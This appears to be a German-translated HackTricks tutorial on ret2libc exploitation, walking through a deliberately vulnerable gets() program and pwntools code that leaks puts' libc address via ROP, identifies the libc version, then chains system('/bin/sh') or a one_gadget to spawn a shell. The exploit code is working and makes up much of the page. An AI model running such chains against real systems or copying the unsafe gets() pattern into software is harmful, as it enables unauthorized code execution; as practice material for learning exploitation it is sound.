Leaking libc address with ROP

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Kurze Zusammenfassung

  1. Ermitteln des Überlauf-Offsets

  2. Finden des POP_RDI-Gadgets, PUTS_PLT und MAIN-Gadgets

  3. Verwenden Sie die zuvor gefundenen Gadgets, um die Speicheradresse von puts oder einer anderen libc-Funktion zu leaken und die libc-Version zu ermitteln (herunterladen)

  4. Mit der Bibliothek das ROP berechnen und ausnutzen

Weitere Tutorials und Binärdateien zum Üben

Dieses Tutorial wird den im folgenden Tutorial vorgeschlagenen Code/Binärdatei ausnutzen: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Weitere nützliche Tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Dateiname: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Auslaufende LIBC-Vorlage

Laden Sie das Exploit herunter und platzieren Sie es im selben Verzeichnis wie die anfällige Binärdatei und geben Sie die benötigten Daten an das Skript:

pageLeaking libc - template

1- Ermittlung des Offset

Die Vorlage benötigt einen Offset, bevor sie mit dem Exploit fortfahren kann. Wenn keiner bereitgestellt wird, führt sie den erforderlichen Code aus, um ihn zu finden (standardmäßig OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Führen Sie python template.py aus, es wird eine GDB-Konsole geöffnet, in der das Programm abstürzt. Führen Sie innerhalb dieser GDB-Konsole x/wx $rsp aus, um die Bytes zu erhalten, die den RIP überschreiben werden. Ermitteln Sie abschließend den Offset mithilfe einer Python-Konsole:

from pwn import *
cyclic_find(0x6161616b)

Nachdem Sie den Offset gefunden haben (in diesem Fall 40), ändern Sie die OFFSET-Variable innerhalb der Vorlage mit diesem Wert. OFFSET = "A" * 40

Eine andere Möglichkeit wäre die Verwendung von: pattern create 1000 -- ausführen bis ret -- pattern seach $rsp von GEF.

2- Finden von Gadgets

Jetzt müssen wir ROP-Gadgets innerhalb des Binärdatei finden. Diese ROP-Gadgets werden nützlich sein, um puts aufzurufen, um die verwendete libc zu finden, und später um den endgültigen Exploit auszuführen.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Der PUTS_PLT wird benötigt, um die Funktion puts aufzurufen. Der MAIN_PLT wird benötigt, um die Hauptfunktion erneut aufzurufen, nachdem eine Interaktion stattgefunden hat, um den Überlauf erneut zu ausnutzen (unendliche Runden der Ausnutzung). Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen. Das POP_RDI wird benötigt, um einen Parameter an die aufgerufene Funktion zu übergeben.

In diesem Schritt müssen Sie nichts ausführen, da alles von pwntools während der Ausführung gefunden wird.

3- Auffinden der libc-Bibliothek

Jetzt ist es an der Zeit herauszufinden, welche Version der libc-Bibliothek verwendet wird. Dazu werden wir die Adresse im Speicher der Funktion puts leaken und dann werden wir suchen, in welcher Bibliotheksversion sich die puts-Version an dieser Adresse befindet.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dies sendet einige Bytes, bis das Überschreiben des RIP möglich ist: OFFSET. Dann wird die Adresse des Gadgets POP_RDI festgelegt, damit die nächste Adresse (FUNC_GOT) im RDI-Register gespeichert wird. Dies geschieht, weil wir puts aufrufen möchten, wobei wir ihm die Adresse des PUTS_GOT übergeben, da die Adresse der puts-Funktion im Speicher in der Adresse gespeichert ist, auf die PUTS_GOT zeigt. Danach wird PUTS_PLT aufgerufen (mit PUTS_GOT im RDI), sodass puts den Inhalt innerhalb von PUTS_GOT (die Adresse der puts-Funktion im Speicher) liest und ihn ausgibt. Schließlich wird die Hauptfunktion erneut aufgerufen, damit wir den Überlauf erneut ausnutzen können.

Auf diese Weise haben wir die puts-Funktion getäuscht, um die Adresse der Funktion puts im Speicher auszugeben (die sich in der libc-Bibliothek befindet). Jetzt, da wir diese Adresse haben, können wir herausfinden, welche libc-Version verwendet wird.

Da wir einige lokale Binärdateien ausnutzen, ist es nicht erforderlich, herauszufinden, welche Version von libc verwendet wird (einfach die Bibliothek in /lib/x86_64-linux-gnu/libc.so.6 finden). In einem Fall von Remote-Exploits werde ich hier erklären, wie Sie es finden können:

3.1- Suchen nach libc-Version (1)

Sie können auf der Webseite suchen, welche Bibliothek verwendet wird: https://libc.blukat.me/ Es ermöglicht Ihnen auch, die entdeckte Version von libc herunterzuladen.

3.2- Suchen nach libc-Version (2)

Sie können auch Folgendes tun:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Dies wird einige Zeit dauern, bitte haben Sie Geduld. Damit dies funktioniert, benötigen wir:

  • Libc-Symbolname: puts

  • Durchgesickerte libc-Adresse: 0x7ff629878690

Wir können herausfinden, welche libc höchstwahrscheinlich verwendet wird.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Wir haben 2 Treffer (probieren Sie den zweiten aus, wenn der erste nicht funktioniert). Laden Sie den ersten herunter:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopieren Sie die libc von libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so in unser Arbeitsverzeichnis.

3.3- Andere Funktionen zum Auslesen

puts
printf
__libc_start_main
read
gets

4- Finden basierend auf der libc-Adresse & ausnutzen

An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir eine lokale Binärdatei ausnutzen, werde ich einfach verwenden: /lib/x86_64-linux-gnu/libc.so.6

Also, am Anfang von template.py ändern Sie die libc Variable zu: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

Indem Sie den Pfad zur libc-Bibliothek angeben, wird der Rest des Exploits automatisch berechnet.

Im get_addr-Funktion wird die Basisadresse von libc berechnet:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Beachten Sie, dass die endgültige Basisadresse von libc mit 00 enden muss. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek durchgesickert.

Dann werden die Adresse der Funktion system und die Adresse des Strings "/bin/sh" aus der Basisadresse von libc berechnet und unter Verwendung der libc-Bibliothek angegeben.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Schließlich wird das Ausführungs-Exploit für /bin/sh vorbereitet und gesendet:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Lassen Sie uns dieses letzte ROP erklären. Das letzte ROP (rop1) endete erneut mit dem Aufruf der Hauptfunktion, dann können wir erneut ausnutzen den Überlauf (deshalb ist hier wieder der OFFSET). Dann möchten wir POP_RDI aufrufen, der auf die Adresse von "/bin/sh" (BINSH) zeigt, und die system-Funktion aufrufen (SYSTEM), da die Adresse von "/bin/sh" als Parameter übergeben wird. Schließlich wird die Adresse der exit-Funktion aufgerufen, damit der Prozess ordnungsgemäß beendet wird und keine Warnung generiert wird.

Auf diese Weise wird das Exploit eine _/bin/sh_** Shell ausführen.**

4(2)- Verwendung von ONE_GADGET

Sie könnten auch ONE_GADGET verwenden, um anstelle von system und **"/bin/sh" eine Shell zu erhalten. ONE_GADGET wird innerhalb der libc-Bibliothek einen Weg finden, um eine Shell zu erhalten, indem nur eine ROP-Adresse verwendet wird. Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und einfach zu vermeidenden sind wie [rsp+0x30] == NULL. Da Sie die Werte im RSP kontrollieren, müssen Sie nur einige weitere NULL-Werte senden, damit die Einschränkung vermieden wird.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT DATEI

Sie können hier eine Vorlage finden, um diese Schwachstelle auszunutzen:

pageLeaking libc - template

Häufige Probleme

MAIN_PLT = elf.symbols['main'] nicht gefunden

Wenn das Symbol "main" nicht existiert. Dann können Sie herausfinden, wo sich der Hauptcode befindet:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

und die Adresse manuell setzen:

MAIN_PLT = 0x401080

Puts nicht gefunden

Wenn das Binär nicht Puts verwendet, sollten Sie überprüfen, ob es verwendet

sh: 1: %s%s%s%s%s%s%s%s: not found

Wenn Sie diesen Fehler nach Erstellung des gesamten Exploits finden: sh: 1: %s%s%s%s%s%s%s%s: not found

Versuchen Sie, 64 Bytes von der Adresse von "/bin/sh" abzuziehen:

BINSH = next(libc.search("/bin/sh")) - 64
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated